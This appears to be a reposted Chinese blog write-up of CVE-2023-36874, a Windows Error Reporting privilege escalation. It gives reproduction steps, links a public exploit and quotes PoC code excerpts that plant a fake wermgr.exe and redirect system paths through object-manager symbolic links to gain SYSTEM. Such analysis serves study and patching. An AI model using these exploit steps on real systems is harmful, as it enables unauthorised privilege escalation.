CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

这篇具有很好参考价值的文章主要介绍了CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析

漏洞简介

Windows错误报告服务在提交错误报告前会创建wermgr.exe进程,而攻击者使用特殊手法欺骗系统创建伪造的wermgr.exe进程,从而以system权限执行代码。

影响版本

Windows10 1507 *
Windows10 1607 *
Windows10 1809 *
Windows10 21H2 *
Windows10 22H2 *
Windows11 21H2 *
Windows11 22H2 *
WindowsServer 2008 sp2 *
WindowsServer 2008 r2 sp1 * x64 *
WindowsServer2016 *
WindowsServer2019 *
WindowsServer2022 *

危害等级

7.8 ∣ H I G H \textcolor{Red}{7.8 | HIGH} 7.8∣HIGH

漏洞复现

首先在C盘下创建一个目录test\system32,然后将自己写的exe改名为wermgr.exe放进去,这里我是直接使用poc里面添加账户的exe改名为wermgr.exe。

运行EXP之前可以查看当前用户信息

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析,漏洞复现与分析,提权,windows,网络安全

运行EXP后

CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析,漏洞复现与分析,提权,windows,网络安全

漏洞分析

【EXP】https://github.com/Wh04m1001/CVE-2023-36874

根据网上给出的POC,可以大致知道执行的流程:

  1. 创建目录C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport

    CreateDirectory(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport", NULL);
    
  2. 从资源中释放错误报告文件MyReport.wer。

    HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_REPORT1), L"Report");
    DWORD ReportSize = SizeofResource(hm, res);
    void* ReportBuff = LoadResource(hm, res);
    ...
    HANDLE hFile = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\MyReport\\Report.wer", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("[-] Cannot create report.wer file.\n");
        return -1;
    }
    if (!WriteFile(hFile, ReportBuff, ReportSize, NULL, NULL))
    {
        printf("[-] Failed to write to report.wer file.\n");
        return -1;
    }
    
  3. 创建IErcLuaSupportUI接口对象,调用 I E r c L u a S u p p o r t : : G e t W e r S t o r e F a c t o r y ( ) \textcolor{orange}{IErcLuaSupport::GetWerStoreFactory()} IErcLuaSupport::GetWerStoreFactory()构造函数实例化IWerStoreFactory工厂对象。

    result = CoCreateInstance(__uuidof(CLSID_IErcLuaSupport), NULL, CLSCTX_LOCAL_SERVER, __uuidof(IErcLuaSupport), (PVOID*)&pIErcLuaSupport);
    ...
    result = pIErcLuaSupport->Proc3(&pIWerStoreFactory);
    
  4. 调用 I W e r S t o r e F a c t o r y : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerStoreFactory::EnumerateStart()} IWerStoreFactory::EnumerateStart()得到IWerStore接口对象。

    result = pIWerStoreFactory->Proc4(&pIWerStore);
    
  5. 使用 I W e r C o m S t o r e : : E n u m e r a t e S t a r t ( ) \textcolor{orange}{IWerComStore::EnumerateStart()} IWerComStore::EnumerateStart()开始模拟错误报告。

    result = pIWerStore->Proc3();
    
  6. 调用 I W e r C o m S t o r e : : L o a d R e p o r t ( ) \textcolor{orange}{IWerComStore::LoadReport()} IWerComStore::LoadReport()加载C:\ProgramData\Microsoft\Windows\WER\ReportArchive\MyReport目录下的错误报告,并获得一个错误报告接口IWerReport的对象。

    BSTR report = SysAllocString(L"MyReport");
    BSTR data = SysAllocString(L"test");
    result = pIWerStore->Proc6(report, &pIWerReport);
    
  7. C:\Windows目录创建一个符号链接,指向一个目录C:\test

    pRtlInitUnicodeString(&object, L"\\??\\test");
    InitializeObjectAttributes(&objAttrDir, &object, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateDirectoryObject(&hObjectdir, 0xF000F, &objAttrDir);
    
    pRtlInitUnicodeString(&symlink_name, L"Windows");
    pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\test");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkWindows, 0xF0001, &objAttrLink, &path);
    
  8. ProgramData目录创建一个符号链接,指向目录C:\ProgramData

    pRtlInitUnicodeString(&symlink_name, L"ProgramData");
    pRtlInitUnicodeString(&path, L"\\GLOBAL??\\C:\\Programdata");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, hObjectdir, NULL);
    pNtCreateSymbolicLinkObject(&hSymlinkProgramdata, 0xF0001, &objAttrLink, &path);
    
  9. C:\目录创建一个符号链接,指向C:\test目录

    pRtlInitUnicodeString(&symlink_name, L"\\??\\C:");
    pRtlInitUnicodeString(&path, L"\\??\\test");
    InitializeObjectAttributes(&objAttrLink, &symlink_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
    pNtCreateSymbolicLinkObject(&hSymlink, 0xF0001, &objAttrLink, &path);
    
  10. 调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport(),重点来了。该接口内部会调用 w e r ! W e r p S u b m i t R e p o r t F r o m S t o r e \textcolor{orange}{wer!WerpSubmitReportFromStore} wer!WerpSubmitReportFromStore提交错误报告,然后经历 C R e p o r t H a n d l e I n s t a n c e : : S u b m i t R e p o r t   = >   C R e p o r t M a n a g e r : : R e p o r t P r o b l e m   = >   C R e p o r t M a n a g e r : : R e p o r t P r o b l e m O u t O f P r o c e s s   = >   U t i l L a u n c h W e r M a n a g e r \textcolor{orange}{CReportHandleInstance::SubmitReport\ =>\ CReportManager::ReportProblem\ =>\ CReportManager::ReportProblemOutOfProcess\ =>\ UtilLaunchWerManager } CReportHandleInstance::SubmitReport => CReportManager::ReportProblem => CReportManager::ReportProblemOutOfProcess => UtilLaunchWerManager到达利用点。

    __int64 __fastcall UtilLaunchWerManager(
            const unsigned __int16 **a1,
            __int64 a2,
            __int64 a3,
            void *a4,
            void **a5,
            void **a6,
            unsigned int a7,
            void **a8)
    {
        if ( GetSystemDirectoryW(Buffer, 0x104u) - 1 > 0x102 ) // 取 C:\Windows\System32 目录
          {
            LastError = GetLastError();
            v27 = ERROR_HR_FROM_WIN32(LastError);
            v12 = v27;
            v28 = WPP_GLOBAL_Control;
            if ( WPP_GLOBAL_Control == (HKEY)&WPP_GLOBAL_Control || ((_BYTE)WPP_GLOBAL_Control[7] & 1) == 0 )
              goto LABEL_38;
            v29 = 0x12i64;
            goto LABEL_67;
          }
          v11 = StringCchCatW(Buffer, 0x104ui64, L"\\wermgr.exe"); // 拼接成 C:\Windows\System32\wermgr.exe
          v12 = v11;
          if ( v11 >= 0 )
          {
            ...
    
            if ( !InitializeProcThreadAttributeList(0i64, 1u, 0, &Size) )
            {
              ...
            }
            ProcessHeap = GetProcessHeap();
            ThreadAttributeHeap = (struct _PROC_THREAD_ATTRIBUTE_LIST *)HeapAlloc(ProcessHeap, 0, Size);
            v10 = ThreadAttributeHeap;
            if ( !ThreadAttributeHeap )
            {
             ...
              goto LABEL_37;
            }
            if ( !InitializeProcThreadAttributeList(ThreadAttributeHeap, 1u, 0, &Size) )
            {
              ...
              goto LABEL_53;
            }
            v9 = 1;
            if ( UpdateProcThreadAttribute(v10, 0, 0x20002ui64, lpValue, 8i64 * a7, 0i64, 0i64) )
            {
              StartupInfo.cb = 0x70;
              v45 = v10;
              // 创建进程,路径为 C:\windows\system32\wermgr.exe
              if ( CreateProcessW(Buffer, v14, 0i64, 0i64, 2, 0x80000u, 0i64, 0i64, &StartupInfo, &lpProcessInformation) )
              {
                v12 = 0;
              }
              ...
            }
          }
    }
    

    注意 C r e a t e P r o c e s s W \textcolor{cornflowerblue}{CreateProcessW} CreateProcessW函数的bInheritHandles参数大于0,表明新进程会继承父进程的句柄,也就是说子进程和父进程的句柄值是一样的。同时表明父进程句柄的所有权限,子进程同样也有。而错误报告服务运行系统服务中,对应进程名svchost.exe,权限是system。假如能够通过某种方式欺骗服务创建攻击者指定的进程,那自然就可以提权了。

    漏洞利用

    显然从公开的POC中可以看到,利用的方式是在C盘创建一个test目录,在test里又创建一个system32目录,然后把伪造的wermgr.exe放进去。在调用 I W e r C o m R e p o r t : : _ S u b m i t R e p o r t ( ) \textcolor{orange}{IWerComReport::\_SubmitReport()} IWerComReport::_SubmitReport()前,给windows目录创建一个符号链接指向test,这样就可以在系统服务创建C:\Windows\system32\wermgr.exe进程的时候欺骗系统创建C:\test\system32\wermgr.exe进程,从而以system权限执行任意代码。文章来源地址https://www.toymoban.com/news/detail-682257.html

到了这里,关于CVE-2023-36874 Windows错误报告服务本地权限提升漏洞分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • Linux Polkit本地权限提升漏洞(CVE-2021-4034)的修复方式建议

    Linux Polkit本地权限提升漏洞(CVE-2021-4034)的修复方式建议

    近日,网络上出现 Linux 下 Polkit 工具集的本地权限提升漏洞,任何非特权本地用户可通过此漏洞获取root权限。目前该漏洞PoC已公开。 漏洞描述 Polkit 是用于在类 Unix 操作系统中控制系统范围特权的组件。它为非特权进程提供了与特权进程进行通信的有组织的方式。 CVE-2021-4

    2024年02月10日
    浏览(9)
  • windows无法启动RemoteDesktopServices服务(位于本地计算机上)。错误126:找不到指定的模块。

    windows无法启动RemoteDesktopServices服务(位于本地计算机上)。错误126:找不到指定的模块。

    win10的搜索栏输入 注册表编辑器。打开,找到如下路径 计算机HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermServiceParameters  将指定数值项ServiceDll的数值数据改成默认值: %SystemRoot%System32termsrv.dll 再重新尝试就好了。 这是因为某些程序篡改了该默认值内容。

    2024年02月11日
    浏览(11)
  • CVE-2021-1675 Windows Print Spooler权限提升漏洞复现

    CVE-2021-1675 Windows Print Spooler权限提升漏洞复现

    Microsoft Windows Print Spooler 服务未能限制对RpcAddPrinterDriverEx()函数的访问,该函数可能允许远程身份验证的攻击者以系统权限在易受攻击的系统上执行任意代码。该RpcAddPrinterDriverEx()函数用于在系统上安装打印机驱动程序。此函数的参数之一是DRIVER_CONTAINER对象,它包含有关添加的

    2024年02月06日
    浏览(5)
  • Redis 拒绝服务漏洞(CVE-2023-28856)修复处理

    Redis 拒绝服务漏洞(CVE-2023-28856)修复处理

    Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。 Redis 7.0.0 到 7.0.10版本、6.2.0 到 6.2.11版本、6.0.0 到 6.0.18版本存在安全漏洞,该漏洞源于对用户提供的输入的验证不充

    2024年02月14日
    浏览(64)
  • MySQL 服务无法启动。服务没有报告任何错误。

    MySQL 服务无法启动。服务没有报告任何错误。

    一、错误  二、解决方法 1、将安装mysql的根目录下的 data 文件清空(如果有重要的数据文件,一定要先备份!!) 2、win+R,运行cmd,在mysql目录下的bin目录下执行命令: root@localhost:后面这一串就是mysql的 初始登录密码 ,复制保留,后面要用到的。 3、如果已安装mysql服务,需

    2024年02月12日
    浏览(12)
  • MySQL 服务无法启动,且服务没有报告任何错误

    MySQL 服务无法启动,且服务没有报告任何错误

    今天运行毕设项目在使用到mysql时候出现了一下两种错误,绊了一整天,所以把最后有用的办法总结一下,防止下一次摸不着头脑 错误一:mysql 服务无法正常启动,且服务没有报告任何错误。 错误二:ERROR 2003 (HY000): Can’t connect to MySQL server on ‘localhost’ (10061) 方法一:尝试

    2024年02月05日
    浏览(6)
  • 漏洞深度分析 | CVE-2023-36053-Django 表达式拒绝服务

    漏洞深度分析 | CVE-2023-36053-Django 表达式拒绝服务

    项目介绍 Django 是一个高级 Python Web 框架,鼓励快速开发和简洁、务实的设计。它由经验丰富的开发人员构建,解决了 Web 开发的大部分麻烦,因此您可以专注于编写应用程序,而无需重新发明轮子。它是免费且开源的。 项目地址 https://github.com/django/django https://github.com/djang

    2024年02月16日
    浏览(6)
  • 【权限提升】WIN本地用户&BypassUAC&DLL劫持&引号路径&服务权限

    【权限提升】WIN本地用户&BypassUAC&DLL劫持&引号路径&服务权限

    文章内容复现于小迪安全相关课程 用户帐户控制 ( User Account Control ,简写作UAC)是 微软 公司在其 Windows Vista 及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对 应用程序 使用 硬盘驱动器 和 系统文件 授权,以达到帮助阻止 恶意程序 (有时也称为“ 恶意

    2024年02月05日
    浏览(5)
  • net start MySQL 启动服务时 ,显示“MySQL 服务正在启动 MySQL 服务无法启动 服务没有报告任何错误

    net start MySQL 启动服务时 ,显示“MySQL 服务正在启动 MySQL 服务无法启动 服务没有报告任何错误

    有时候,输入net start MySQL 启动服务时 mysqlnet start MySQL  显示 MySQL 服务正在启动 MySQL 服务无法启动        服务没有报告任何错误 由于mysql的默认端口是3306,因此在启动服务的时候,如果此端口被占用,就会出现如上“Mysql服务无法启动 服务没有报告任何错误”的情况,

    2024年02月08日
    浏览(6)
  • 解决服务器报500错误的VSFTPD权限配置方法

    VSFTPD是一个常用的FTP服务器软件,但有时候在配置权限时会出现500错误。本文将介绍如何解决这个问题,并提供相应的源代码示例。 步骤1:检查VSFTPD配置文件 首先,我们需要检查VSFTPD的配置文件是否正确设置。配置文件通常位于 /etc/vsftpd.conf 。使用文本编辑器打开该文件,

    2024年01月19日
    浏览(10)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包